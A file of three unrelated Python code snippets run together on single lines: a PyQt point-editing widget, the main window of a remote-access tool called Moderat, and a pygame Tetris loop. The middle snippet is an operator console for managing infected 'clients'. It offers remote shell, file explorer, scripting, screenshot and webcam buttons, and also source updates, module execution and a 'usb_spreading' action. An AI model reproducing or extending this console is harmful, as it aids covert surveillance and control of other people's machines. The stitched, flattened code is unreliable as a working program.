class Window(QWidget): def __init__(self): super().__init__() uic.loadUi('main.ui', self) self.toolButton: QToolButton = self.toolButton self.toolButton.clicked.connect(self.openSettings) w0, h0 = self.width() // 4, self.height() // 4 self.ps = PointSet([[w0, h0], [w0, h0 * 3], [w0 * 3, h0 * 3]]) self.moving = False self.current_point = None self.repaint() def paintEvent(self, event: QPaintEvent): painter = QPainter() painter.begin(self) self.ps.draw(painter) painter.end() def mousePressEvent(self, event: QMouseEvent): if event.button() == Qt.LeftButton: if self.ps.get_point(event.x(), event.y()) is None: self.ps.add(event.x(), event.y()) self.current_point = self.ps.get_point(event.x(), event.y()) self.moving = True if event.button() == Qt.RightButton: removee = self.ps.get_point(event.x(), event.y()) if removee is not None and len(self.ps.points) > 3: Color.pop(removee.idx) self.ps.points.pop(removee.idx) def mouseReleaseEvent(self, event: QMouseEvent): self.moving = False self.repaint() def mouseMoveEvent(self, event: QMouseEvent): if self.moving: self.current_point.set(x=event.x(), y=event.y()) self.repaint() def in_ball(self, x, y): return (x - self.ball_x)**2 + (y - self.ball_y)**2 <= self.ball_r**2 def openSettings(self): self.stg = SettingsWindow(self.repaint) self.stg.show()
class MainDialog(QMainWindow, gui.Ui_MainWindow): connected = False DATA = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'DATA') modulesBank = {} clients = {} def __init__(self, reactor, plugins, plugins_dir, parent=None): super(MainDialog, self).__init__(parent) self.reactor = reactor self.setupUi(self) self.settings = Settings(self) self.anim = QPropertyAnimation(self, 'windowOpacity') self.anim.setDuration(1000) self.anim.setStartValue(0) self.anim.setEndValue(self.settings.moderatOpacity) self.anim.start() self.clientsTable.horizontalHeader().setStyleSheet('background: none;') # Multi Lang self.translate = Translate(self) self.MString = lambda _word: self.translate.word(_word) self.theme = Theme(self) # Init Log Dir if not os.path.exists(self.DATA): os.makedirs(self.DATA) self.assets = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'assets') self.flags = os.path.join(self.assets, 'flags') self.plugins = plugins self.plugins_dir = plugins_dir self.directServerRunning = False self.filter = Filter(self) # Setup Settings self.set_config() self.pagination = pagination.Pagination(self) self.tables = tables.updateClientsTable(self) # Init UI self.ui = ui.updateUi(self) # Init Tray self.tray = tray.ModeratTrayIcon(self) self.rmenu = rmenu.moderatRightClickMenu(self) # Session ID self.session_id = None # Privileges self.privs = 0 # Checkers self.moderators_checker = None self.clients_checker = None # Create Protocol self.create_server_protocol() self.create_moderator_protocol() # Init Triggers triggers.ModeratTriggers(self) # Init Shortcuts shortcuts.ModeratShortcuts(self) # Create Actions Object self.action = Actions(self) # Create Modes Object self.modes = Modes(self) self.onlineLoading = loading.Loading(self.clientsTabs) self.onlineLoading.hide() self.showMaximized() def set_config(self): self.translate.__init__(self) self.theme.__init__(self) self.setStyleSheet(self.theme.stylesheet) self.setWindowOpacity(self.settings.moderatOpacity / 100) self.setWindowTitle(self.MString('TITLE')) self.menuRemote_Server.setTitle(self.MString('REMOTE_SERVER')) self.actionConnect.setText(self.MString('CONNECT')) self.actionDisconnect.setText(self.MString('DISCONNECT')) self.actionExit.setText(self.MString('EXIT')) self.menuLocal_Server.setTitle(self.MString('LOCAL_SERVER')) self.actionStartServer.setText(self.MString('START_SERVER')) self.actionStopServer.setText(self.MString('STOP_SERVER')) self.menuFilter.setTitle(self.MString('FILTERS')) self.actionSetupFilters.setText(self.MString('SETUP_FILTERS')) self.menuSettings.setTitle(self.MString('SETTINGS_TITLE')) self.actionRunSettings.setText(self.MString('RUN_SETTINGS')) self.clientsTabs.setTabText(0, self.MString('CLIENTS_TAB_ONLINE')) self.clientsTabs.setTabText(1, self.MString('CLIENTS_TAB_DIRECT')) self.clientsTabs.setTabText(2, self.MString('CLIENTS_TAB_OFFLINE')) self.clientsTabs.setTabText(3, self.MString('CLIENTS_TAB_MODERATORS')) # HEADERS self.clientsTable.horizontalHeaderItem(0).setText( self.MString('HEADER_IP_ADDRESS')) self.clientsTable.horizontalHeaderItem(1).setText( self.MString('HEADER_ID')) self.clientsTable.horizontalHeaderItem(2).setText( self.MString('HEADER_USER')) self.clientsTable.horizontalHeaderItem(3).setText( self.MString('HEADER_ALIAS')) self.clientsTable.horizontalHeaderItem(4).setText( self.MString('HEADER_ACTIVE_WINDOW_TITLE')) self.offlineClientsTable.horizontalHeaderItem(0).setText( self.MString('HEADER_MODERATOR')) self.offlineClientsTable.horizontalHeaderItem(1).setText( self.MString('HEADER_ID')) self.offlineClientsTable.horizontalHeaderItem(2).setText( self.MString('HEADER_ALIAS')) self.offlineClientsTable.horizontalHeaderItem(3).setText( self.MString('HEADER_IP_ADDRESS')) self.offlineClientsTable.horizontalHeaderItem(4).setText( self.MString('HEADER_LAST_ONLINE')) self.moderatorsTable.horizontalHeaderItem(0).setText( self.MString('MODERATORS_HEADER_ID')) self.moderatorsTable.horizontalHeaderItem(1).setText( self.MString('MODERATORS_HEADER_ONLINE')) self.moderatorsTable.horizontalHeaderItem(2).setText( self.MString('MODERATORS_HEADER_OFFLINE')) self.moderatorsTable.horizontalHeaderItem(3).setText( self.MString('MODERATORS_HEADER_PRIVILEGES')) self.moderatorsTable.horizontalHeaderItem(4).setText( self.MString('MODERATORS_HEADER_STATUS')) self.moderatorsTable.horizontalHeaderItem(5).setText( self.MString('MODERATORS_HEADER_LASTONLINE')) self.directClientsTable.horizontalHeaderItem(0).setText( self.MString('HEADER_IP_ADDRESS')) self.directClientsTable.horizontalHeaderItem(1).setText( self.MString('HEADER_ID')) self.directClientsTable.horizontalHeaderItem(2).setText( self.MString('HEADER_MARK')) # END HEADERS #self.filterButton.filterButton.setText(self.MString('SIDEBAR_FILTER')) # Header Refresh self.clientsTable.setColumnHidden(0, not self.settings.headerIpAddress) self.clientsTable.setColumnHidden(1, not self.settings.headerClientId) self.clientsTable.setColumnHidden(2, not self.settings.headerUser) self.clientsTable.setColumnHidden(3, not self.settings.headerAlias) self.clientsTable.setColumnHidden(4, not self.settings.headerTitle) self.clientsTable.resizeColumnsToContents() self.clientsTable.horizontalHeader().setStretchLastSection(True) # Offline Header Refresh self.offlineClientsTable.setColumnHidden( 0, not self.settings.offlineHeaderClientId) self.offlineClientsTable.setColumnHidden( 1, not self.settings.offlineHeaderAlias) self.offlineClientsTable.setColumnHidden( 2, not self.settings.offlineHeaderIpAddress) self.offlineClientsTable.setColumnHidden( 3, not self.settings.offlineHeaderLastOnline) self.offlineClientsTable.resizeColumnsToContents() self.offlineClientsTable.horizontalHeader().setStretchLastSection(True) # Direct Header Refresh self.directClientsTable.setColumnHidden( 0, not self.settings.directHeaderIpAddress) self.directClientsTable.setColumnHidden( 1, not self.settings.directHeaderClientId) self.directClientsTable.setColumnHidden( 2, not self.settings.directHeaderComment) self.directClientsTable.resizeColumnsToContents() self.directClientsTable.horizontalHeader().setStretchLastSection(True) # Menu self.viewLogsButton.setHidden(not self.settings.menuLogViewer) self.noteButton.setHidden(not self.settings.menuNote) self.setAliasButton.setHidden(not self.settings.menuAlias) self.updateSourceButton.setHidden(not self.settings.menuUpdate) self.shellButton.setHidden(not self.settings.menuShell) self.explorerButton.setHidden(not self.settings.menuExplorer) self.scriptingButton.setHidden(not self.settings.menuScripting) self.screenshotButton.setHidden(not self.settings.menuScreenshot) self.webcamButton.setHidden(not self.settings.menuWebcam) # Offline Menu self.viewOfflineLogsButton.setHidden( not self.settings.offlineMenuLogViewer) self.setOfflineAliasButton.setHidden( not self.settings.offlineMenuAlias) self.removeClientButton.setHidden(not self.settings.offlineMenuRemove) # Direct Menu self.directShellButton.setHidden(not self.settings.directMenuShell) self.directExplorerButton.setHidden( not self.settings.directMenuExplorer) self.directScriptingButton.setHidden( not self.settings.directMenuScripting) self.directScreenshotButton.setHidden( not self.settings.directMenuScreenshot) self.directWebcamButton.setHidden(not self.settings.directMenuWebcam) def show_settings_window(self): self.settingsWindow = SettingsWindow(self) self.settingsWindow.show() def create_server_protocol(self): ''' Create Server Protocol :return: ''' self.server = ModeratServerFactory(self) def on_server_started(self): ''' On Server Started :return: ''' self.directServer = self.reactor.listenTCP( self.settings.directServerPort, self.server) self.directServerRunning = True self.ui.on_server_started() self.tray.info( self.MString('TRAY_SERVER_STARTED'), u'{} - {}'.format(self.MString('TRAY_LISTEN_PORT'), self.settings.directServerPort)) def on_server_stopped(self): ''' On Server Stopped :return: ''' if self.directServerRunning: self.directServer.stopListening() self.directServerRunning = False self.ui.on_server_stopped() self.tray.info(self.MString('TRAY_SERVER_STOPPED')) def create_moderator_protocol(self): self.moderator = SocketModeratorFactory( self.on_moderator_connect_success, self.on_moderator_connect_fail, self.on_moderator_receive) # Update Direct Connections Tables def update_direct_table(self): ''' Rearrange Direct Clients :param clients: :return: ''' self.tables.update_direct_clients() # Start Connect To Server def on_connect_to_server(self): ''' Try Connect To Server :return: ''' self.connection = self.reactor.connectTCP( self.settings.serverIpAddress, self.settings.serverPort, self.moderator) def on_moderator_connect_success(self): ''' On Moderator Connected To Server :return: ''' self.connected = True self.action.login() def on_moderator_connect_fail(self, reason): ''' On Moderator Disconnected From Server :param reason: :return: ''' if not type(reason) is bool: message.error(self, self.MString('MSGBOX_ERROR'), str(reason.value)) self.connected = False self.action.disconnect() def on_moderator_receive(self, data): ''' Data Received From Server :param data: :return: ''' self.modes.check_mode(data) def send_message(self, message, mode, _to='', session_id='', module_id='', p2p=False): if p2p: if self.directServerRunning: self.server.send_msg(_to, message, mode, session_id, module_id) else: self.moderator.send_msg(message, mode, _to, session_id, module_id) def set_alias(self): ''' Set Alias For Client :return: ''' self.action.set_alias() def remove_client(self): ''' Remove Client :return: ''' self.action.remove_client() def set_logs_settings(self): ''' Set Client Log Settings :return: ''' self.action.set_log_settings() @connected_to_server def update_source(self): ''' Update Clients Source :return: Restart client ''' self.action.update_source() def execute_module(self, module): ''' execute module :param module: :return: ''' self.action.execute_module(module) # TODO: TEMP def usb_spreading(self): self.action.usb_spreading() @is_administrator def set_moderator(self): ''' Set Moderator For Client :return: ''' self.action.administrator_set_moderator() @connected_to_server @is_administrator def get_moderators(self): ''' Get Moderators Information :return: ''' self.action.administrator_get_moderators() @connected_to_server @is_administrator def create_moderator(self): ''' Create New Moderator :return: ''' self.action.administrator_create_moderator() @connected_to_server @is_administrator def change_moderator_password(self): ''' Change Moderator Password :return: ''' self.action.administrator_change_moderator_password() @connected_to_server @is_administrator def change_moderator_privilege(self): ''' Change Moderator Privileges :return: ''' self.action.administrator_change_moderator_privilege() @connected_to_server @is_administrator def remove_moderator(self): ''' Remove Moderator :return: ''' self.action.administrator_remove_moderator() @connected_to_server def check_clients(self): ''' Update Clients Information :return: ''' self.action.get_clients() def send_signal(self, data): ''' Send Received Data To Module :param data: :return: ''' self.action.signal_received(data) def start_p2p(self): self.action.send_p2p_start() def filter_by_ip_address(self): self.action.filter_by_ip_address() def filter_by_alias(self): self.action.filter_by_alias() def filter_by_moderator(self): self.action.filter_by_moderator() def resizeEvent(self, event): self.onlineLoading.resize(self.clientsTabs.size()) event.accept() def closeEvent(self, *args, **kwargs): ''' Moderat Close Event Detected :param args: :param kwargs: :return: ''' self.action.close_moderat() os._exit(1)
def main(): with open('ClientSettings.txt') as f: data = ast.literal_eval(f.read()) colors = data['Colors'] figure_colors = [Color([color]) for color in colors['FigureColors']] background = Color([colors['FontColors'][0], colors['FontColors'][1]]) border = Color([colors['BorderColors'][0], colors['BorderColors'][1]]) cell_size = 43 x, y = data['Resolution'] left, top = 10, 10 size = 2 * left + x * (cell_size + 1) + 1, 2 * top + y * (cell_size + 1) + 1 figure_x, figure_y = 4, 4 figure_left, figure_top = size[0], top size = size[0] + left + figure_x * (cell_size + 1) + 1, size[1] buttons_x, buttons_y = 4, 1 buttons_left, buttons_top = figure_left, figure_top + top + figure_y * (cell_size + 1) pygame.init() screen = pygame.display.set_mode(size) pygame.display.set_caption('TETRIS') main_board = MainBoard(x, y, screen, left, top, cell_size, background, border) figure_board = FigureBoard(figure_x, figure_y, screen, figure_left, figure_top, cell_size, background, border, figure_colors) buttons_board = ButtonsBoard(buttons_x, buttons_y, screen, buttons_left, buttons_top, cell_size, background, border) points_x, points_y = figure_x * (cell_size + 1) + 1, 55 points_left, points_top = figure_left, figure_top + top + figure_y * (cell_size + 1) + top + buttons_y * ( cell_size + 1) timer_x, timer_y = points_x, 55 timer_left, timer_top = figure_left, figure_top + top + figure_y * (cell_size + 1) + top + buttons_y * ( cell_size + 1) + points_y + top status_x, status_y = points_x, 55 status_left, status_top = figure_left, figure_top + top + figure_y * (cell_size + 1) + top + buttons_y * ( cell_size + 1) + points_y + top + timer_y + top points_info = InfoWindow(points_x, points_y, screen, points_left, points_top, border, border, border, 'points:') timer = InfoWindow(timer_x, timer_y, screen, timer_left, timer_top, border, border, border, 'timer:') status_bar = InfoWindow(status_x, status_y, screen, status_left, status_top, border, border, border, 'status:') running = True buttons_board.game_running = False clock = pygame.time.Clock() delta_t = 0 lock = data['Speed'] timer_t = 0 while running: for event in pygame.event.get(): if event.type == pygame.QUIT: running = False if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1: cell = buttons_board.get_cell(event.pos) if cell is None: pass else: cell = cell[0] if cell == 0: if not buttons_board.game_running: buttons_board.game_running = True restart(main_board, figure_board) timer_t = 0 elif cell == 1: if buttons_board.game_running: buttons_board.game_running = False elif cell == 2: ex = SettingsWindow() ex.show() elif cell == 3: background.switch_color() border.switch_color() if event.type == pygame.KEYDOWN and main_board.figure and buttons_board.game_running: if event.key == pygame.K_LEFT and main_board.can_move(x=-1): main_board.x -= 1 if event.key == pygame.K_RIGHT and main_board.can_move(x=1): main_board.x += 1 if event.key == pygame.K_UP: figure = transpose(main_board.figure) if main_board.can_move(figure=figure): main_board.figure = figure if event.key == pygame.K_DOWN: if main_board.can_move(y=1): main_board.y += 1 main_board.update() t = clock.tick() if buttons_board.game_running: delta_t += t timer_t += t if delta_t > lock: delta_t = 0 if main_board.figure and main_board.can_move(y=1): main_board.y += 1 main_board.update() else: next_figure(main_board, figure_board) if main_board.can_move(): main_board.update() else: buttons_board.game_running = False screen.fill(background.color) main_board.render() figure_board.render() buttons_board.render() points_info.draw(str(main_board.points)) timer.draw(str(timer_t // 1000)) status_bar.draw({True: 'on', False: 'off'}[buttons_board.game_running]) pygame.display.flip() pygame.quit()